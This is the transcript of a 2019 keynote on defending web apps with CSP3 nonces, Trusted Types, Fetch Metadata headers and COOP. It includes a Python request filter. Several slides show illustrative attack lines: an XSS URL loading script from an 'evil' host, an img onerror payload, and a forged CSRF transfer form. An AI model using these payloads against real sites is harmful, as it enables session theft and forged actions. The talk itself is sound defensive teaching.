PyConWeb 2019 Keynote - Securing Web Apps with Modern Platform Features (Lukas Weichselbaum)

PyConWeb 2019 Keynote - Securing Web Apps with Modern Platform Features (Lukas Weichselbaum)

Web applications have historically been plagued by vulnerabilities which allow attackers to compromise the session of a logged-in user: XSS, CSRF, clickjacking and related issues are common problems that most developers learn about – often the hard way! Luckily, new security mechanisms available in web browsers in 2019 offer exciting features which allow developers to protect their applications. In this talk, we’ll introduce these features and explain how to most effectively use them.

We’ll start by reviewing major threats based on an analysis of thousands of vulnerability reports Google receives each year under our Vulnerability Reward Program. We will find common themes between bugs which appear unrelated and focus our attention on the most frequent high-risk problems.

We’ll then turn our attention to protective mechanisms implemented in modern browsers, which address entire classes of security problems. This includes CSP3 and Trusted Types to prevent XSS, Fetch Metadata Request Headers to protect from CSRF, and CORP/COOP to mitigate the threat of Spectre. For CSP and Metadata Request headers we’ll provide reference implementations for Python.

By the end, you will have a good understanding of common threats and a TODO for enabling protections in your application.

815bfd36abbe6bfa45e7bed09145da56?s=128

Lukas Weichselbaum

May 26, 2019
Tweet

Transcript

  1. 1.
  2. 4.
  3. 5.

    Google Vulnerability Reward Program payouts in 2018 XSS 35.6% CSRF

    3.2% Clickjacking 4.2% Other web bugs 7.8% Non-web issues 49.1% Mobile app vulnerabilities Business logic (authorization) Server /network misconfigurations ...
  4. 6.

    Injections <?php echo $_GET["query"] ?> foo.innerHTML = location.hash.slice(1) 1. Logged

    in user visits attacker's page 2. Attacker navigates user to a vulnerable URL 3. Script runs, attacker gets access to user's session … and many other patterns Bugs: Cross-site scripting (XSS) https://victim.example/?query=<script src="//evil/">
  5. 7.

    Insufficient isolation 1. Logged in user visits attacker's page 2.

    Attacker sends cross-origin request to vulnerable URL 3. Attacker takes action on behalf of user, or infers information about the user's data in the vulnerable app. Bugs: Cross-site request forgery (CSRF), XS-leaks, timing, ... <form action="/transferMoney"> <input name="recipient" value="Jim" /> <input name="amount" value="10" /> <form action="//victim.example/transferMoney"> <input name="recipient" value="Attacker" /> <input name="amount" value="∞" />
  6. 8.

    New classes of flaws related to insufficient isolation on the

    web: - Microarchitectural issues (Spectre / Meltdown) - Advanced web APIs used by attackers - Improved exploitation techniques The number and severity of these flaws is growing. Insufficient isolation
  7. 9.

    Vulnerabilities by Industry Source: HackerOne report, 2018 Consumer Goods Financial

    services & insurance Government Healthcare Media & Entertainment Professional services Retail & Ecommerce Technology Telecom Transportation Travel & Hospitality Figure 5: Listed are the top 15 vulnerability types platform wide, and the percentage of vulnerabilities received per industry Cross Site scripting (XSS) Information disclosure Improper authentication Violation of secure design principles Cross-site request forgery (CSRF) Open redirect Privilege Escalation Improper access control Cryptographic issues Denial of service Business logic errors Code injection SQL injection
  8. 10.

    Vulnerabilities by Industry Source: HackerOne report, 2018 Consumer Goods Financial

    services & insurance Government Healthcare Media & Entertainment Cross Site scripting (XSS) Information disclosure Improper authentication Violation of secure design principles Cross-site request forgery (CSRF) Open redirect 23% 24% 26% 19% 28% 17% 7% 8% 3% 6% 9% 12% 10% 4% 8% 7% 18% 18% 16% 25% 6% 9% 11% 10% 10% 4% 6% 8% 7% 5%
  9. 11.

    Source: @jvehent, Mozilla Paid bounties by vulnerability on Mozilla websites

    in 2016 and 2017 Count of Vulnerability w sec-xss w sec-applogic w sec-disclosure w sec-im personation w sec-objref w sec-injection w sec-appm isconfig w sec-authentication w sec-redirect w sec-oscm d w sec-http-header-inject w sec-serverm isconfig w sec-sqli w sec-authorization w sec-crossdom ain w sec-csrf
  10. 15.

    Injection defenses: Content Security Policy Level 3 Mitigate XSS by

    introducing fine-grained controls on script execution in your application.
  11. 16.

    CSP Basics CSP is a strong defense-in-depth mechanism against XSS

    Note: CSP is not a replacement for proper escaping or fixing bugs! <script> scripts get executed plugins are loaded Developers can control which
  12. 17.
  13. 18.
  14. 19.

    Better, faster, stronger: nonce-based CSP! Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic'; object-src

    'none'; base-uri 'none' No customization required! Except for the per-response nonce value this CSP stays the same.
  15. 20.

    The Idea Behind Nonce-Based CSP When CSP is enforced injected

    script tags without a nonce will be blocked by the browser script tags with a valid nonce will execute Content-Security-Policy: script-src 'nonce-random123' <script>alert('xss')</script> // XSS injected by attacker - blocked by CSP <script nonce="random123">alert('this is fine!')</script> <script nonce="random123" src="https://my.cdn/library.js"></script>
  16. 21.

    The Problem of Nonce-Only CSP An already trusted script cannot

    create new scripts without explicitly setting the nonce attribute! ALL <script> tags need to have the nonce attribute! ✘ Third-party scripts/widgets (You may not control all scripts!) ✘ Potentially large refactoring effort Content-Security-Policy: script-src 'nonce-random123' ✔ <script nonce="random123"> var s = document.createElement('script') s.src = "/path/to/script.js"; ✘ document.head.appendChild(s); </script>
  17. 22.

    Enabler: New strict-dynamic keyword Only <script> tags in response body

    need the nonce attribute! ✔ Third-party scripts/widgets (You may not control all scripts!) ✔ Potentially large refactoring effort Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic' Wit 'strict-dynamic' an already trusted script can create new scripts without setting a nonce! ✔ <script nonce="random123"> var s = document.createElement('script') s.src = "/path/to/script.js"; ✔ document.head.appendChild(s); </script>
  18. 23.

    STEP 1: Remove CSP blockers STEP 2: Add CSP nonces

    to <script> tags STEP 3: Enforce nonce-based CSP 1..2..3 Strict CSP How to deploy a nonce-based CSP?
  19. 24.

    A strong CSP disables common dangerous patterns → HTML must

    be refactored to not use these javascript: URIs: <a href="javascript:void(0)">a</a> inline event handlers: <a onclick="alert('clicked')">b</a> STEP 1: Remove CSP blockers
  20. 25.

    javascript: URIs inline event handlers HTML refactoring steps: <a href="#">a</a>

    <a id="link">b</a> <script>document.getElementById('link') .addEventListener('click', alert('clicked')); </script> STEP 1: Remove CSP blockers <a href="javascript:void(0)">a</a> <a onclick="alert('clicked')">b</a>
  21. 26.

    nonce-only CSPs (without 'strict-dynamic') must also propagate nonces to dynamically

    created scripts: Only <script> tags with a valid nonce attribute will execute! STEP 2: Add <script> nonces HTML refactoring: add nonce attribute to script tags <script src="stuff.js"/></script> <script>doSth();</script> <script nonce="{{nonce}}" src="stuff.js"/></script> <script nonce="{{nonce}}">doSth();</script> <script> var s = document.createElement('script'); s.src = 'dynamicallyLoadedScript.js'; document.body.appendChild(s); </script> <script nonce="{{nonce}}"> var s = document.createElement('script'); s.src = 'dynamicallyLoadedScript.js'; s.setAttribute('nonce', '{{nonce}}'); document.body.appendChild(s); </script>
  22. 27.

    STEP 3: Enforce CSP Enforce CSP by setting a Content-Security-Policy

    header script-src 'nonce-...' 'strict-dynamic' 'unsafe-eval'; object-src 'none'; base-uri 'none' script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none' script-src 'nonce-...'; object-src 'none'; base-uri 'none' Strong Stronger Strongest
  23. 28.

    CSP Adoption Tips If parts of your site use static

    HTML instead of templates, use CSP hashes: Content-Security-Policy: script-src 'sha256-...' 'strict-dynamic'; For debuggability, add 'report-sample' and a report-uri: script-src … 'report-sample'; report-uri /csp-report-collector Production-quality policies need a few more directives & fallbacks for old browsers script-src 'nonce-...' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none'
  24. 31.

    + Always the same CSP + More secure* + <script>

    tags with valid nonce attribute will execute + Mitigates stored/reflected XSS <script> tags injected via XSS (without nonce) are blocked + NEW in CSP3: 'strict-dynamic' * https://ai.google/research/pubs/pub45542 Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; base-uri 'none' No customization required! Except for the per-response nonce value this CSP stays the same. Summary: Nonce-based CSP
  25. 32.
  26. 33.

    var foo = location.hash.slice(1); document.querySelector('#foo').innerHTML = foo; How does DOM

    XSS happen? DOM XSS is a client-side XSS variant caused by the DOM API not being secure by default ◦ User controlled strings get converted into code ◦ Via dangerous DOM APIs like: innerHTML, window.open(), ~60 other DOM APIs Example: https://example.com/#<img src=x onerror=alert('xss')>
  27. 34.

    HTMLFormElement.action Element.innerHTML location.open HTMLAreaElement.href HTMLMediaElement.src HTMLFrameElement.src HTMLSourceElement.src HTMLTrackElement.src HTMLInputElement.src location.assign

    location.href document.write HTMLButtonElement.formAction HTMLFrameElement.srcdoc HTMLImageElement.src HTMLEmbededElement.src HTMLScriptElement.textContent HTMLInputElement.formAction HTMLScriptElement.InnerText HTMLBaseElement.href
  28. 35.

    The idea behind Trusted Types Require strings for passing (HTML,

    URL, script URL) values to DOM sinks. typed objects URL string HTML string Script string Script URL string TrustedURL TrustedHTML TrustedScript TrustedScriptURL becomes
  29. 36.

    When Trusted Types are enforced DOM sinks reject strings DOM

    sinks accept typed objects Content-Security-Policy: trusted-types myPolicy element.innerHTML = location.hash.slice(1); // a string element.innerHTML = aTrustedHTML; // created via a TrustedTypes policy The idea behind Trusted Types
  30. 37.

    When Trusted Types are in reporting mode DOM sinks accept

    & report strings DOM sinks accept typed objects Content-Security-Policy-Report-Only: trusted-types myPolicy; report-uri /cspReport element.innerHTML = location.hash.slice(1); // a string element.innerHTML = aTrustedHTML; // created via a TrustedTypes policy The idea behind Trusted Types
  31. 38.

    Creating Trusted Types 1. Create policies with validation rules 2.

    Use the policies to create Trusted Type objects 3. Enforce "myPolicy" by setting a Content Security Policy header Content-Security-Policy: trusted-types myPolicy const SanitizingPolicy = TrustedTypes.createPolicy('myPolicy', { createHTML(s: string) => myCustomSanitizer(s) }, false); // Calls myCustomSanitizer(foo). const trustedHTML = SanitizingPolicy.createHTML(foo); element.innerHTML = trustedHTML;
  32. 39.

    Trusted Types - default policy The "default" policy is called

    as a fallback when a string is assigned to a sink. Good way to get started and to identify dangerous DOM assignments. Content-Security-Policy: trusted-types default TrustedTypes.createPolicy('default', { createHTML(s) { console.log("Please fix! Insecure string assignment detected:", s); return s; } }, true)
  33. 40.

    Reduced attack surface: The risky data flow will always be:

    Simpler security reviews - dramatically minimizes the trusted codebase Compile time & runtime security validation No DOM XSS - if policies are secure and access restricted Currently in Chrome Origin Trials, but can already be polyfilled! → Trusted Types Summary Source ... Policy Trusted Type → → → ... DOM sink →
  34. 42.

    Injection defenses: 2019 edition Add hardening and defense-in-depth against injections:

    Hardening: Use Trusted Types to make your client-side code safe from DOM XSS. Your JS will be safe by default; the only potential to introduce injections will be in your policy functions, which are much smaller and easier to review. Defense-in-depth: Use CSP3 with nonces (or hashes for static sites) - even if an attacker finds an injection, they will not be able to execute scripts and attack users. Together they prevent & mitigate the vast majority of XSS bugs. Content-Security-Policy: trusted-types myPolicy; script-src 'nonce-...'; object-src 'none'; base-uri 'none'
  35. 44.

    Why do we need isolation? Attacks on resources Examples: CSRF,

    XSSI, clickjacking, web timing attacks, Spectre Request to victim.example (with cookies) evil.example
  36. 45.

    Attacks on windows Examples: XS-Search, tabnabbing, login detection, Spectre Why

    do we need isolation? Open new window evil.example victim.example
  37. 46.

    Quick review: origins & sites Cookies Two URLs are same-origin

    if they share the same scheme, host and port. https://www.google.com/foo and https://www.google.com/bar Two URLs are same-site if they share the same scheme & registrable domain. https://mail.google.com/ and https://photos.google.com/ Otherwise, the URLs are cross-site. https://www.youtube.com/ and https://www.google.com/
  38. 47.

    Isolation for resources: Fetch Metadata request headers Let the server

    make security decisions based on the source and context of each HTTP request.
  39. 48.

    Three new HTTP request headers sent by browsers: Sec-Fetch-Site: Which

    website generated the request? same-origin, same-site, cross-site, none Sec-Fetch-Mode: The Request mode, denoting the type of the request cors, no-cors, navigate, nested-navigate, same-origin Sec-Fetch-User: Was the request caused by a user gesture? ?1 if a navigation is triggered by a click or keypress
  40. 49.

    https://site.example GET /foo.png Host: site.example Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors GET

    /foo.png Host: site.example Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors fetch("https://site.example/foo.json") https://evil.example <img src="//site.example/foo.json" />
  41. 50.

    # Reject cross-origin requests to protect from CSRF, XSSI &

    other bugs def allow_request(req): # Allow requests from browsers which don't send Fetch Metadata if not req['sec-fetch-site']: return True # Allow same-site and browser-initiated requests if req['sec-fetch-site'] in ('same-origin', 'same-site', 'none'): return True # Allow simple top-level navigations from anywhere if req['sec-fetch-mode'] == 'navigate' and req.method == 'GET': return True return False
  42. 51.

    Adopting Fetch Metadata 1. Monitor: Install a module to monitor

    if your isolation logic would reject any legitimate cross-site requests. 2. Review: Exempt any parts of your application which need to be loaded by other sites from security restrictions. 3. Enforce: Switch your module to reject untrusted requests. ★ Also set a Vary: Sec-Fetch-Site, Sec-Fetch-Mode response header. Enabled behind a flag (Experimental Web Platform Features) in , shipping in M76.
  43. 54.

    Open new window evil.example w = window.open(victim, "_blank") // Send

    messages w.postMessage("hello", "*") // Count frames alert(w.frames.length); // Navigate to attacker's site w.location = "//evil.example" victim.example
  44. 56.

    Adopting COOP A window with a Cross-Origin-Opener-Policy will be put

    in a different browsing context group from its cross-site opener: - External documents will lose direct references to the window Side benefit: COOP allows browsers without Site Isolation to put the document in a separate process to protect the data from speculative execution bugs. Currently implemented as a prototype in , coming to soon.
  45. 57.
  46. 58.

    CSP3 based on script nonces - Modify your <script> tags

    to include a nonce which changes on each response Trusted Types - Enforce type restrictions for unsafe DOM APIs, create safe types in policy functions Fetch Metadata request headers - Reject resource requests that come from unexpected sources - Use the values of and request headers Cross-Origin Opener Policy - Protect your windows references from being abused by other websites Content-Security-Policy: trusted-types default Content-Security-Policy: script-src 'nonce-...' 'strict-dynamic' ... Cross-Origin-Opener-Policy: same-origin Sec-Fetch-Site Sec-Fetch-Mode